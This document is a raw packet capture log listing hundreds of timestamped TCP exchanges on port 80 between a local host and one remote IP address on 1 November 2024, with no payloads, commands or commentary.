Nov 1, 2024 10:56:13.480511904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480536938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.480556011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480576038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480616093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.480667114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480678082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480686903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480707884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480709076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.480734110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.480756044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480767012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480777025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480791092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480799913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.480835915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.480916023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480926991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480937004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480957985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.480982065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.480983019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.480993986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481004000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481014967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481026888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.481054068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.481132030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481142998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481153011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481163979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481174946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481177092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.481213093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.481327057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481365919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481373072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.481375933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481400013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481400967 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.481410027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481467009 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.481492043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481503010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481513023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481538057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.481542110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.481576920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.522134066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.522157907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.522176027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.522192955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.522227049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.522264004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.593796015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.593811035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.593826056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.593858957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.593873978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.593874931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.593890905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.593907118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.593919992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.593923092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.593940020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.593945980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.593965054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.593965054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.593980074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594003916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594008923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594022036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594036102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594043970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594072104 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594114065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594130039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594144106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594170094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594177961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594193935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594209909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594214916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594225883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594264984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594682932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594758987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594774961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594784975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594790936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594805956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594810963 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594821930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594840050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594860077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594865084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594882011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594885111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594897032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594913960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594929934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594935894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594947100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.594959974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.594985008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595165014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595180035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595196962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595212936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595221043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595230103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595246077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595253944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595280886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595297098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595319986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595328093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595336914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595344067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595354080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595371008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595379114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595395088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595411062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595412016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595436096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595453978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595470905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595474958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595494986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595525026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595546007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595561028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595577955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595583916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595593929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595613956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595628023 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595664978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595679998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595695972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595719099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595722914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595738888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595755100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595761061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595772028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595788002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595792055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595879078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595895052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595906973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595911026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.595932007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.595993996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596010923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596025944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596041918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596049070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596070051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596141100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596164942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596177101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596180916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596196890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596213102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596229076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596235037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596245050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596259117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596261024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596277952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596283913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596327066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596381903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596398115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596415997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596451998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596467018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596482992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596499920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596508980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596537113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596615076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596631050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596647024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596663952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596668959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596679926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596694946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596710920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596713066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596735001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596752882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596767902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596784115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596791029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596821070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596824884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596841097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596856117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596873045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596889019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596892118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596914053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.596940041 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.596952915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597093105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597110033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597125053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597160101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597188950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597206116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597223043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597227097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597239017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597261906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597363949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597379923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597397089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597402096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597413063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597429037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597445965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597461939 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597461939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597479105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597496033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597497940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597517967 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597531080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597558022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597578049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597687960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597714901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597732067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597732067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597800016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597815990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597831964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597839117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597847939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.597863913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597882986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597908020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597937107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.597971916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598021030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598037004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598059893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598074913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598076105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598090887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598098993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598108053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598124027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598131895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598140955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598177910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598222017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598237991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598254919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598258972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598270893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598285913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598297119 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598303080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598319054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598325014 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598406076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598421097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598436117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598444939 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598453045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598481894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598493099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598612070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598664999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598680019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598705053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598711967 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598721981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598738909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598745108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598757029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598794937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598819971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598838091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598861933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598898888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598915100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598932028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598948956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.598952055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598977089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.598998070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599036932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599299908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599323988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599340916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599358082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599375010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599384069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599389076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599409103 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599421978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599427938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599442959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599458933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599473953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599482059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599508047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599533081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599549055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599572897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599589109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599603891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599611044 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599620104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599634886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599642038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599656105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599668980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599697113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599857092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599872112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599889040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599912882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599915028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599930048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599968910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.599975109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.599991083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.600011110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.600014925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.600030899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.600049019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.600052118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.600500107 CET	49738	80	192.168.2.4	185.215.113.16
